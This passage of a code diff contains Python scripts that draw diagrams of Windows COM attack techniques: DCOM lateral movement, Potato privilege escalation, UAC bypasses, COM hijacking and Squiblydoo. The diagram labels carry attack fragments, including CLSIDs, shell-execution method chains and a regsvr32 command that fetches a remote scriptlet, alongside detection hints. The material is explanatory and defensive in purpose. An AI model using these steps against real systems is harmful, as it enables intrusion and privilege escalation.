arrow(ax, a8[0], a8[1], kind="normal", label="TCP 135 + OXID", t=0.45,
|
||||||
|
lx=1.0, ly=2.3, fs=8.5, mono=True)
|
||||||
|
tick(ax, a8[0], a8[1], "relay", off=(1.2, -3.2), t=0.55)
|
||||||
|
return save(fig, "d08-com-architecture.png")
|
||||||
|
|
||||||
|
|
||||||
|
ALL = [d01, d02, d03, d04, d05, d06, d07, d08]
|
||||||
@@ -0,0 +1,238 @@
|
|||||||
|
"""d09-d17: Lateral movement + privilege escalation."""
|
||||||
|
from diag import *
|
||||||
|
|
||||||
|
|
||||||
|
def d09():
|
||||||
|
fig, ax = canvas("DCOM lateral movement: anatomy", w=13.0, h=5.5)
|
||||||
|
boundary(ax, 4, 14, 32, 30, "ATTACKER HOST")
|
||||||
|
ps = box(ax, 20, 33, 26, 9, "PowerShell / impacket", fs=9.5)
|
||||||
|
boundary(ax, 58, 10, 68, 38, "TARGET HOST")
|
||||||
|
rpc = box(ax, 66, 33, 14, 8, "RPCSS", fs=9.5, weight="bold")
|
||||||
|
mmc = box(ax, 99, 33, 34, 9, "mmc.exe — hosts\nMMC20.Application", fs=9)
|
||||||
|
cmd = box(ax, 99, 16, 22, 8, "cmd.exe child", fs=9.5)
|
||||||
|
arrow(ax, ps.side("r"), rpc.side("l"), kind="attack",
|
||||||
|
label="DCOM activation\nKerberos/NTLM · TCP 135\n+ dynamic high ports",
|
||||||
|
ly=1.8, fs=8.5, mono=True, va="bottom")
|
||||||
|
arrow(ax, rpc.side("r"), mmc.side("l"), kind="attack",
|
||||||
|
label="start/attach\nmmc.exe", ly=1.5, fs=8.5, va="bottom")
|
||||||
|
arrow(ax, mmc.side("b"), cmd.side("t"), kind="attack",
|
||||||
|
label="Document.ActiveView.\nExecuteShellCommand(...)", lx=8.5,
|
||||||
|
fs=8.5, mono=True, ha="left")
|
||||||
|
note(ax, 24, 5, "Sysmon 1: mmc.exe → cmd.exe lineage", kind="defense",
|
||||||
|
fs=8.5)
|
||||||
|
note(ax, 67, 5, "Sysmon 3: inbound 135 + high ports", kind="defense",
|
||||||
|
fs=8.5)
|
||||||
|
note(ax, 108, 5, "no service install · no SMB file drop", kind="defense",
|
||||||
|
fs=8.5)
|
||||||
|
return save(fig, "d09-dcom-lateral.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d10():
|
||||||
|
fig, ax = canvas("MMC20.Application kill chain", w=13.0, h=4.8,
|
||||||
|
caption="fires a visible MMC window unless executed headless — OpSec tradeoff")
|
||||||
|
b1 = box(ax, 20, 31, 36, 13,
|
||||||
|
"GetTypeFromCLSID(\n{49B2791A-B1AE-4C90-9B8E-E860BA07F889},\n\"target\")",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b2 = box(ax, 62, 31, 26, 13, "ActivateAs /\nCreateInstance\n(admin creds)",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b3 = box(ax, 104, 31, 30, 13, "MMC snap-in\nobject model", fs=9)
|
||||||
|
b4 = box(ax, 53, 10, 52, 11,
|
||||||
|
"Document.ActiveView.ExecuteShellCommand(\n\"cmd.exe\", ...)",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b5 = box(ax, 109, 10, 30, 11, "payload runs\non target", fs=9)
|
||||||
|
conn(ax, b1, "r", b2, "l", label="remote\nobject", ly=1.4, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", label="drives\nOM", ly=1.4, fs=8.5, va="bottom")
|
||||||
|
elbow(ax, [b3.side("b"), (104, 21), (79, 21), b4.side("r", 0.75)],
|
||||||
|
kind="normal", label="invoke", li=1, ly=1.3, fs=8.5, va="bottom")
|
||||||
|
conn(ax, b4, "r", b5, "l", label="spawns", ly=1.3, fs=8.5, va="bottom")
|
||||||
|
for i, b in enumerate([b1, b2, b3, b4, b5], 1):
|
||||||
|
step_circle(ax, b.l, b.t, i)
|
||||||
|
return save(fig, "d10-mmc20-chain.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d11():
|
||||||
|
fig, ax = canvas("ShellWindows / ShellBrowserWindow", w=11.0, h=4.4,
|
||||||
|
caption="needs an interactive session on target; runs as the logged-on user")
|
||||||
|
atk = box(ax, 13, 30, 18, 9, "Attacker", fs=10)
|
||||||
|
exp = box(ax, 56, 30, 38, 12,
|
||||||
|
"explorer.exe on target hosts\nShellWindows\n{9BA05972-F6A8-11CF-A442-00A0C90A8F39}",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
cmd = box(ax, 99, 30, 20, 9, "cmd.exe\n(child of explorer)", fs=8.5)
|
||||||
|
arrow(ax, atk.side("r"), exp.side("l"), kind="attack",
|
||||||
|
label="DCOM activation\n(Kerberos/NTLM · 135+high)", ly=1.6, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
arrow(ax, exp.side("r"), cmd.side("l"), kind="attack",
|
||||||
|
label="Item().Document.Application.\nShellExecute(\"cmd.exe\")",
|
||||||
|
t=0.25, ly=1.6, fs=8.5, mono=True, va="bottom")
|
||||||
|
return save(fig, "d11-shellwindows-chain.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d12():
|
||||||
|
fig, ax = canvas("Bug class #1: server forgets to impersonate", w=11.0,
|
||||||
|
h=6.0,
|
||||||
|
caption="hunt: privileged file/registry/process ops reachable from low IL without impersonation")
|
||||||
|
label(ax, 9, 50.5, "SAFE", fs=10, weight="bold", color=EDGE)
|
||||||
|
c1 = box(ax, 15, 44, 16, 8, "client", fs=9.5)
|
||||||
|
s1 = box(ax, 50, 44, 24, 9, "server:\nCoImpersonateClient", fs=9, mono=True)
|
||||||
|
r1 = box(ax, 91, 44, 30, 9, "file op runs as caller\n(caller's token)", fs=9)
|
||||||
|
conn(ax, c1, "r", s1, "l", label="call (path)", ly=1.4, fs=8.5, va="bottom")
|
||||||
|
conn(ax, s1, "r", r1, "l", label="impersonated op", ly=1.4, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
ax.plot([4, 106], [32, 32], color=RULE, lw=1.0, zorder=1)
|
||||||
|
label(ax, 15.5, 26.5, "VULNERABLE", fs=10, weight="bold", color=ATTACK)
|
||||||
|
c2 = box(ax, 15, 20, 16, 8, "client", fs=9.5)
|
||||||
|
s2 = box(ax, 50, 20, 24, 9, "server (SYSTEM):\nno impersonation", fs=9)
|
||||||
|
r2 = box(ax, 91, 20, 30, 9, "arbitrary file write\nas SYSTEM", fs=9,
|
||||||
|
edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, c2, "r", s2, "l", kind="attack",
|
||||||
|
label="attacker-controlled path", ly=1.6, fs=8.5, lc=ATTACK,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, s2, "r", r2, "l", kind="attack", label="write with own\nSYSTEM token",
|
||||||
|
ly=1.6, fs=8.5, lc=ATTACK, va="bottom")
|
||||||
|
return save(fig, "d12-missing-impersonation.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d13():
|
||||||
|
fig, ax = canvas("DiagHub: arbitrary file write → SYSTEM (Forshaw, 2018)",
|
||||||
|
w=13.0, h=5.0,
|
||||||
|
caption="patched; exploitation mitigations added in 19H1 (ProcessImageLoadPolicy)")
|
||||||
|
b1 = box(ax, 22, 32, 38, 12,
|
||||||
|
"activate DiagHub collector\n{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}\nvia DCOM",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b2 = box(ax, 65, 32, 28, 12, "start collector\nsession", fs=9)
|
||||||
|
b3 = box(ax, 108, 32, 34, 12,
|
||||||
|
"abuse session control:\nwrite attacker-chosen\nfile as SYSTEM",
|
||||||
|
fs=8.5)
|
||||||
|
b4 = box(ax, 108, 10, 36, 11, "redirect via junction/\nsymlink to DLL path",
|
||||||
|
fs=9)
|
||||||
|
b5 = box(ax, 65, 10, 30, 11, "trigger load into\nSYSTEM process", fs=9)
|
||||||
|
b6 = box(ax, 22, 10, 32, 11, "code execution\nas SYSTEM", fs=9,
|
||||||
|
edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, b1, "r", b2, "l", kind="attack", label="session", ly=1.3, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", kind="attack", label="control", ly=1.3, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b3, "b", b4, "t", kind="attack", label="redirect", lx=7.5,
|
||||||
|
fs=8.5, lc=ATTACK)
|
||||||
|
conn(ax, b4, "l", b5, "r", kind="attack", label="plant DLL", ly=1.3,
|
||||||
|
fs=8.5, va="bottom")
|
||||||
|
conn(ax, b5, "l", b6, "r", kind="attack", label="load", ly=1.3, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
for i, b in enumerate([b1, b2, b3, b4, b5, b6], 1):
|
||||||
|
step_circle(ax, b.l, b.t, i)
|
||||||
|
return save(fig, "d13-diaghub-chain.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d14():
|
||||||
|
fig, ax = canvas("RottenPotato: NTLM reflection over DCOM", w=13.0, h=5.0)
|
||||||
|
svc = box(ax, 15, 29, 24, 11, "service account\nw/ SeImpersonatePrivilege",
|
||||||
|
fs=9)
|
||||||
|
com = box(ax, 50, 29, 20, 9, "COM activation", fs=9.5)
|
||||||
|
ntlm = box(ax, 80, 29, 24, 9, "NTLM type 1/2/3\nrelay loop", fs=9)
|
||||||
|
sh = box(ax, 116, 29, 20, 9, "SYSTEM shell", fs=9.5, edge=ATTACK,
|
||||||
|
lw=2.2, tc=ATTACK)
|
||||||
|
arrow(ax, svc.side("r"), com.side("l"), kind="attack",
|
||||||
|
label="CoGetObject(IStorage)\nBITS {4991D34B-80A1-4291-83B6-3328366B9097}",
|
||||||
|
ly=6.2, fs=8.5, mono=True, lc=ATTACK, va="bottom")
|
||||||
|
step_circle(ax, 29.5, 29, 1)
|
||||||
|
arrow(ax, com.side("r"), ntlm.side("l"), kind="attack",
|
||||||
|
label="local NTLM reflection\nto TCP socket", ly=5.6, fs=8.5,
|
||||||
|
lc=ATTACK, va="bottom")
|
||||||
|
step_circle(ax, 62.5, 29, 2)
|
||||||
|
arrow(ax, ntlm.side("r"), sh.side("l"), kind="attack",
|
||||||
|
label="SYSTEM token → DuplicateTokenEx\n→ CreateProcessWithTokenW",
|
||||||
|
ly=5.6, fs=8.5, mono=True, lc=ATTACK, va="bottom")
|
||||||
|
step_circle(ax, 94.5, 29, 3)
|
||||||
|
label(ax, 65, 12, "the service's own NTLM auth is reflected back and impersonated — no credentials needed",
|
||||||
|
fs=9, color=SUB)
|
||||||
|
return save(fig, "d14-rottenpotato.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d15():
|
||||||
|
fig, ax = canvas("RoguePotato: fake OXID resolver + named pipe", w=14.0,
|
||||||
|
h=5.0)
|
||||||
|
b1 = box(ax, 23, 28, 40, 16,
|
||||||
|
"trigger SYSTEM auth:\nIStorage trigger /\nRpcRemoteFindFirstPrinterChangeNotificationEx",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b2 = box(ax, 65, 28, 24, 16,
|
||||||
|
"victim's OXID\nresolution redirected\nto attacker's fake\nOXID resolver",
|
||||||
|
fs=8.5)
|
||||||
|
b3 = box(ax, 97, 28, 24, 16, "NTLM auth relayed\nto local named pipe\n(127.0.0.1)",
|
||||||
|
fs=8.5)
|
||||||
|
b4 = box(ax, 126, 28, 26, 16,
|
||||||
|
"ImpersonateNamedPipeClient\n→ SYSTEM token",
|
||||||
|
fs=8.5, mono=True, edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, b1, "r", b2, "l", kind="attack",
|
||||||
|
label="ResolveOxid2\nto attacker", ly=1.6, fs=8.5,
|
||||||
|
lc=ATTACK, va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", kind="attack", label="NTLM\nrelay", ly=1.6,
|
||||||
|
fs=8.5, lc=ATTACK, va="bottom")
|
||||||
|
conn(ax, b3, "r", b4, "l", kind="attack", label="pipe", ly=1.6,
|
||||||
|
fs=8.5, lc=ATTACK, va="bottom")
|
||||||
|
for i, b in enumerate([b1, b2, b3, b4], 1):
|
||||||
|
step_circle(ax, b.l, b.t, i)
|
||||||
|
label(ax, 70, 9, "port-135 restrictions (1809+) force the victim's OXID resolution through the attacker's fake resolver",
|
||||||
|
fs=9, color=SUB)
|
||||||
|
return save(fig, "d15-roguepotato.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d16():
|
||||||
|
fig, ax = canvas("The *Potato lineage", w=13.5, h=5.5,
|
||||||
|
caption="SeImpersonatePrivilege + a coercion trigger is the common thread")
|
||||||
|
y0 = 27
|
||||||
|
arrow(ax, (5, y0), (131, y0), kind="normal", ms=14)
|
||||||
|
nodes = [
|
||||||
|
("2016 · RottenPotato", "BITS + local NTLM reflection",
|
||||||
|
"works: Win7–10 early\nkilled by: reflection fixes"),
|
||||||
|
("2018 · JuicyPotato", "CLSID bruteforce (BITS)",
|
||||||
|
"works: ≤ Win10 1803\nkilled by: 1809 OXID hardening"),
|
||||||
|
("2020 · PrintSpoofer", "named pipe — no DCOM",
|
||||||
|
"works: Win10 / Srv 2019\nneeds SeImpersonate"),
|
||||||
|
("2020 · RoguePotato", "fake OXID resolver",
|
||||||
|
"works: ≥ 1809\nneeds port-135 redirect"),
|
||||||
|
("2021 · SweetPotato", "combo + EFSRPC trigger",
|
||||||
|
"works: incl. Srv 2019/2022\nall-in-one tool"),
|
||||||
|
("2022 · JuicyPotatoNG", "PrintNotify trigger",
|
||||||
|
"works: 1809+, Win11 /\nSrv 2022"),
|
||||||
|
("2023 · LocalPotato", "CVE-2023-21746",
|
||||||
|
"NTLM type-1 swap\nkilled by: Feb 2023 patch"),
|
||||||
|
]
|
||||||
|
xs = [14, 32, 50, 68, 86, 104, 122]
|
||||||
|
for i, ((name, tech, note_), x) in enumerate(zip(nodes, xs)):
|
||||||
|
above = (i % 2 == 0)
|
||||||
|
cy = 41 if above else 13
|
||||||
|
w = 25
|
||||||
|
b = box(ax, x, cy, w, 13)
|
||||||
|
label(ax, x, cy + 4.0, name, fs=9, weight="bold")
|
||||||
|
label(ax, x, cy + 0.6, tech, fs=8.5, mono=True)
|
||||||
|
label(ax, x, cy - 3.4, note_, fs=8.5, color=SUB)
|
||||||
|
edge_y = b.b if above else b.t
|
||||||
|
ax.plot([x, x], [y0, edge_y], color=EDGE, lw=1.0, zorder=2)
|
||||||
|
ax.plot([x - 1.2, x + 1.2], [y0, y0], color=EDGE, lw=1.6, zorder=3)
|
||||||
|
return save(fig, "d16-potato-timeline.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d17():
|
||||||
|
fig, ax = canvas("Trapped COM objects: type confusion via IDispatch (2025)",
|
||||||
|
w=12.0, h=5.5,
|
||||||
|
caption="bug class, not one CVE — audit every place a proxy definition can be influenced")
|
||||||
|
b1 = box(ax, 20, 33, 32, 11, "Attacker registers/swaps\ntype library or proxy definition",
|
||||||
|
fs=9)
|
||||||
|
b2 = box(ax, 59, 33, 24, 11, "privileged client\nqueries interface", fs=9)
|
||||||
|
b3 = box(ax, 96, 33, 32, 11, "object \"trapped\":\nvtable/struct layout mismatch",
|
||||||
|
fs=9)
|
||||||
|
b4 = box(ax, 96, 12, 36, 11, "type confusion → controlled\nmethod call in privileged context",
|
||||||
|
fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, b1, "r", b2, "l", kind="attack",
|
||||||
|
label="influenced\nproxy definition", ly=6.5, fs=8.5, lc=ATTACK,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", kind="attack",
|
||||||
|
label="QueryInterface /\nIDispatch bind", ly=6.5, fs=8.5, mono=True,
|
||||||
|
lc=ATTACK, va="bottom")
|
||||||
|
conn(ax, b3, "b", b4, "t", kind="attack", label="dispatch", lx=9.5,
|
||||||
|
fs=8.5, lc=ATTACK)
|
||||||
|
return save(fig, "d17-trapped-objects.png")
|
||||||
|
|
||||||
|
|
||||||
|
ALL = [d09, d10, d11, d12, d13, d14, d15, d16, d17]
|
||||||
@@ -0,0 +1,227 @@
|
|||||||
|
"""d18-d25: UAC bypass + persistence + execution/defense-evasion."""
|
||||||
|
from diag import *
|
||||||
|
|
||||||
|
|
||||||
|
def d18():
|
||||||
|
fig, ax = canvas("Auto-elevated COM: the prompt that never appears",
|
||||||
|
w=12.5, h=6.0)
|
||||||
|
label(ax, 4.5, 51.5, "A — normal elevation", fs=10, weight="bold", ha="left")
|
||||||
|
mA = box(ax, 16, 42, 20, 8, "medium-IL\nprocess", fs=9)
|
||||||
|
ap = box(ax, 44, 42, 16, 8, "APPINFO", fs=9.5, weight="bold")
|
||||||
|
cp = box(ax, 70, 42, 18, 8, "consent\nprompt", fs=9)
|
||||||
|
hA = box(ax, 98, 42, 18, 8, "high-IL\nprocess", fs=9)
|
||||||
|
conn(ax, mA, "r", ap, "l", label="consent check", ly=1.8, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, ap, "r", cp, "l", label="prompts user", ly=1.8, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, cp, "r", hA, "l", label="approved", ly=1.8, fs=8.5, va="bottom")
|
||||||
|
ax.plot([4, 121], [31, 31], color=RULE, lw=1.0, zorder=1)
|
||||||
|
label(ax, 4.5, 26.5, "B — COM auto-elevation (no prompt)", fs=10,
|
||||||
|
weight="bold", ha="left", color=ATTACK)
|
||||||
|
mB = box(ax, 16, 16, 20, 8, "medium-IL\nprocess", fs=9)
|
||||||
|
au = box(ax, 48, 16, 28, 10, "auto-elevated COM class\n(autoElevate manifest)",
|
||||||
|
fs=8.5)
|
||||||
|
ob = box(ax, 86, 16, 24, 9, "high-IL object\nWITHOUT prompt", fs=9,
|
||||||
|
edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
wr = box(ax, 115, 16, 18, 9, "write to\n%windir%\\System32", fs=8.5,
|
||||||
|
mono=True)
|
||||||
|
conn(ax, mB, "r", au, "l", kind="attack", label="CoCreateInstance",
|
||||||
|
ly=5.8, fs=8.5, mono=True, lc=ATTACK, va="bottom")
|
||||||
|
conn(ax, au, "r", ob, "l", kind="attack", label="no prompt", ly=2.6,
|
||||||
|
fs=8.5, lc=ATTACK, va="bottom")
|
||||||
|
conn(ax, ob, "r", wr, "l", kind="attack", label="IFileOperation.CopyItem",
|
||||||
|
ly=4.8, fs=8.5, mono=True, lc=ATTACK, va="bottom")
|
||||||
|
return save(fig, "d18-uac-autoelevate.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d19():
|
||||||
|
fig, ax = canvas("IFileOperation bypass chain", w=13.0, h=5.2)
|
||||||
|
b1 = box(ax, 20, 34, 34, 13,
|
||||||
|
"bind elevated IFileOperation\n{3AD05575-8857-4850-9277-11B85BDB8E09}",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b2 = box(ax, 62, 34, 28, 13,
|
||||||
|
"SetOperationFlags(\nFOFX_NOCONFIRMATION |\nFOFX_SILENT ...)",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b3 = box(ax, 104, 34, 34, 13,
|
||||||
|
"CopyItem(payload.dll →\nC:\\Windows\\System32\\...)", fs=8.5,
|
||||||
|
mono=True)
|
||||||
|
b4 = box(ax, 104, 11, 28, 11, "PerformOperations()", fs=9, mono=True)
|
||||||
|
b5 = box(ax, 48, 11, 44, 11,
|
||||||
|
"auto-elevated process loads planted DLL\n→ high-IL execution",
|
||||||
|
fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, b1, "r", b2, "l", kind="attack", label="bind", ly=1.4, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", kind="attack", label="queue op", ly=1.4,
|
||||||
|
fs=8.5, va="bottom")
|
||||||
|
conn(ax, b3, "b", b4, "t", kind="attack", label="execute", lx=8.0, fs=8.5,
|
||||||
|
lc=ATTACK)
|
||||||
|
conn(ax, b4, "l", b5, "r", kind="attack", label="triggers load", ly=1.4,
|
||||||
|
fs=8.5, va="bottom")
|
||||||
|
for i, b in enumerate([b1, b2, b3, b4, b5], 1):
|
||||||
|
step_circle(ax, b.l, b.t, i)
|
||||||
|
note(ax, 36, 2.6, "signal: medium-IL process writing into System32 via COM",
|
||||||
|
kind="defense", fs=8.5)
|
||||||
|
return save(fig, "d19-ifileoperation-chain.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d20():
|
||||||
|
fig, ax = canvas("CMSTPLUA / ICMLuaUtil", w=12.0, h=5.0)
|
||||||
|
b1 = box(ax, 20, 32, 34, 14,
|
||||||
|
"activate CMSTPLUA\n{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\nauto-elevated · cmstp-hosted",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b2 = box(ax, 60, 32, 22, 14, "get ICMLuaUtil\ninterface", fs=9, mono=True)
|
||||||
|
b3 = box(ax, 98, 32, 30, 14, "ShellExec(\"cmd.exe\",\n\"/c ...\")", fs=9,
|
||||||
|
mono=True)
|
||||||
|
b4 = box(ax, 98, 11, 30, 9, "high-IL child process", fs=9, edge=ATTACK,
|
||||||
|
lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, b1, "r", b2, "l", kind="attack", label="QueryInterface", ly=1.5,
|
||||||
|
fs=8.5, mono=True, va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", kind="attack", label="invoke", ly=1.5, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b3, "b", b4, "t", kind="attack", label="spawns", lx=7.5, fs=8.5,
|
||||||
|
lc=ATTACK)
|
||||||
|
for i, b in enumerate([b1, b2, b3], 1):
|
||||||
|
step_circle(ax, b.l, b.t, i)
|
||||||
|
note(ax, 45, 10, "variant: SetRegistryStringValue →\nelevated registry write",
|
||||||
|
kind="research", fs=8.5, mono=True)
|
||||||
|
return save(fig, "d20-cmstplua-chain.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d21():
|
||||||
|
fig, ax = canvas("Per-user COM hijack", w=12.0, h=6.5)
|
||||||
|
atk = box(ax, 18, 48, 22, 9, "Attacker\n(medium IL)", fs=9)
|
||||||
|
reg = box(ax, 62, 48, 52, 10,
|
||||||
|
"HKCU\\Software\\Classes\\CLSID\\{target}\\\nInprocServer32 = payload.dll",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
arrow(ax, atk.side("r"), reg.side("l"), kind="attack",
|
||||||
|
label="write\nno admin", ly=1.5, fs=8.5, lc=ATTACK, va="bottom")
|
||||||
|
start = box(ax, 18, 26, 26, 9, "auto-start process\n(logon)", fs=9)
|
||||||
|
mrg = box(ax, 62, 26, 30, 10, "merged HKCR view\nresolves to HKCU entry",
|
||||||
|
fs=9)
|
||||||
|
pay = box(ax, 98, 26, 24, 9, "payload.dll loaded", fs=9, edge=ATTACK,
|
||||||
|
lw=2.2, tc=ATTACK)
|
||||||
|
arrow(ax, start.side("r"), mrg.side("l"), kind="normal",
|
||||||
|
label="activates {target}\nvia CoCreateInstance", ly=1.5, fs=8.5,
|
||||||
|
mono=True, va="bottom")
|
||||||
|
arrow(ax, mrg.side("r"), pay.side("l"), kind="attack", label="loads",
|
||||||
|
ly=1.3, fs=8.5, va="bottom")
|
||||||
|
arrow(ax, reg.side("b"), mrg.side("t"), kind="attack",
|
||||||
|
label="shadows HKLM\n(per-user hive wins)", lx=2.5, fs=8.5,
|
||||||
|
lc=ATTACK, ha="left")
|
||||||
|
# inset: HKCU-over-HKLM precedence
|
||||||
|
label(ax, 24, 16.8, "inset: HKCU-over-HKLM precedence", fs=8.5,
|
||||||
|
weight="bold", color=SUB)
|
||||||
|
i1 = box(ax, 14, 11.5, 16, 5, "HKCU", fs=8.5, mono=True)
|
||||||
|
i2 = box(ax, 14, 5.5, 16, 5, "HKLM", fs=8.5, mono=True)
|
||||||
|
i3 = box(ax, 41, 8.5, 14, 6, "HKCR", fs=8.5, mono=True)
|
||||||
|
arrow(ax, i1.side("r"), i3.side("l", 0.75), kind="attack", ms=10)
|
||||||
|
arrow(ax, i2.side("r"), i3.side("l", 0.25), kind="normal", ms=10)
|
||||||
|
label(ax, 28.5, 13.8, "wins", fs=8.5, color=ATTACK, weight="bold")
|
||||||
|
note(ax, 88, 8, "hunt: InprocServer32 under HKCU\npointing to user-writable paths",
|
||||||
|
kind="defense", fs=8.5)
|
||||||
|
return save(fig, "d21-com-hijack.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d22():
|
||||||
|
fig, ax = canvas("TreatAs and TypeLib redirection", w=12.0, h=6.0)
|
||||||
|
ax.plot([59, 59], [7, 55], color=SUB, lw=1.0, linestyle=BDASH, zorder=1)
|
||||||
|
label(ax, 30, 53, "A — TreatAs redirection", fs=10, weight="bold")
|
||||||
|
a1 = box(ax, 30, 44, 40, 8, "HKCR\\CLSID\\{A}\\TreatAs = {B}", fs=8.5,
|
||||||
|
mono=True)
|
||||||
|
a2 = box(ax, 30, 29, 36, 9, "CoTreatAsClass → activation\nreturns class B object",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
a3 = box(ax, 30, 14, 32, 9, "attacker class B loaded", fs=9, edge=ATTACK,
|
||||||
|
lw=2.2, tc=ATTACK)
|
||||||
|
arrow(ax, a1.side("b"), a2.side("t"), kind="normal",
|
||||||
|
label="activation of A\nCoCreateInstance({A})", lx=3.0, fs=8.5,
|
||||||
|
mono=True, ha="left")
|
||||||
|
arrow(ax, a2.side("b"), a3.side("t"), kind="attack",
|
||||||
|
label="point A at\nattacker class", lx=3.0, fs=8.5, lc=ATTACK,
|
||||||
|
ha="left")
|
||||||
|
label(ax, 90, 53, "B — TypeLib hijack", fs=10, weight="bold")
|
||||||
|
b1 = box(ax, 90, 44, 46, 9,
|
||||||
|
"HKCU\\Software\\Classes\\TypeLib\\{TLBID}\\x.y\\0\\win32",
|
||||||
|
fs=8.5, mono=True)
|
||||||
|
b2 = box(ax, 90, 27, 40, 10, "marshaling redirection\nfor any automation client",
|
||||||
|
fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
arrow(ax, b1.side("b"), b2.side("t"), kind="attack",
|
||||||
|
label="oleaut32 loads\nattacker typelib/proxy", lx=3.0, fs=8.5,
|
||||||
|
lc=ATTACK, ha="left")
|
||||||
|
label(ax, 90, 19.5, "per-user override — no admin needed", fs=8.5,
|
||||||
|
color=ATTACK)
|
||||||
|
return save(fig, "d22-treatas-typelib.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d23():
|
||||||
|
fig, ax = canvas("Squiblydoo: scriptlets via signed proxy", w=12.0, h=5.0)
|
||||||
|
b1 = box(ax, 16, 31, 24, 10, "regsvr32.exe\n(Microsoft-signed)", fs=9)
|
||||||
|
b2 = box(ax, 56, 31, 26, 10, "scrobj.dll parses\nCOM scriptlet", fs=9)
|
||||||
|
b3 = box(ax, 97, 31, 26, 10, "JScript/VBScript runs\n→ CreateObject / payload",
|
||||||
|
fs=9, edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, b1, "r", b2, "l", kind="attack",
|
||||||
|
label="/i:http://host/p.sct scrobj.dll", ly=5.4, fs=8.5, mono=True,
|
||||||
|
lc=ATTACK, va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", kind="attack", label="script runs", ly=1.6,
|
||||||
|
fs=8.5, va="bottom")
|
||||||
|
n1 = note(ax, 22, 10, "AWL bypass: host binary is signed", kind="defense",
|
||||||
|
fs=8.5)
|
||||||
|
n2 = note(ax, 57, 10, "AMSI scans script content", kind="defense", fs=8.5)
|
||||||
|
n3 = note(ax, 96, 10, "Sysmon 7: image load scrobj.dll", kind="defense",
|
||||||
|
fs=8.5)
|
||||||
|
ax.plot([20, 17], [12.7, 26], color=DEF, lw=1.0, linestyle=DASH, zorder=2)
|
||||||
|
ax.plot([56, 53], [12.7, 26], color=DEF, lw=1.0, linestyle=DASH, zorder=2)
|
||||||
|
ax.plot([93, 66], [12.7, 26], color=DEF, lw=1.0, linestyle=DASH, zorder=2)
|
||||||
|
return save(fig, "d23-squiblydoo.png")
|
||||||
|
|
||||||
|
|
||||||
|
def d24():
|
||||||
|
fig, ax = canvas("Type-library substitution → code in PPL (Forshaw, 2018)",
|
||||||
|
w=13.0, h=5.0,
|
||||||
|
caption="fixed by Microsoft; still the model for marshaling-confusion research")
|
||||||
|
b1 = box(ax, 18, 29, 30, 15,
|
||||||
|
"attacker plants substitute\ntypelib/proxy registration\nin HKCU",
|
||||||
|
fs=8.5)
|
||||||
|
b2 = box(ax, 52, 29, 28, 15,
|
||||||
|
"PPL process (protected\nsvchost) activates\nthe interface", fs=8.5)
|
||||||
|
b3 = box(ax, 86, 29, 30, 15,
|
||||||
|
"oleaut32 unmarshals with\nattacker-defined layout\n→ type confusion",
|
||||||
|
fs=8.5)
|
||||||
|
b4 = box(ax, 117, 29, 22, 15, "arbitrary call/exec\ninside PPL", fs=9,
|
||||||
|
edge=ATTACK, lw=2.2, tc=ATTACK)
|
||||||
|
conn(ax, b1, "r", b2, "l", kind="attack", label="hijack", ly=8.5, fs=8.5,
|
||||||
|
va="bottom")
|
||||||
|
conn(ax, b2, "r", b3, "l", kind="attack", label="activation", ly=8.5,
|
||||||
|
fs=8.5, va="bottom")
|
||||||
|
conn(ax, b3, "r", b4, "l", kind="attack", label="unmarshal", ly=8.5,
|
||||||
|
fs=8.5, va="bottom")
|
||||||
|
for i, b in enumerate([b1, b2, b3, b4], 1):
|
||||||
|
step_circle(ax, b.l, b.t, i)
|
||||||
|
return save(fig, "d24-ppl-injection.png")
|
||||||
|
|
||||||
|
|
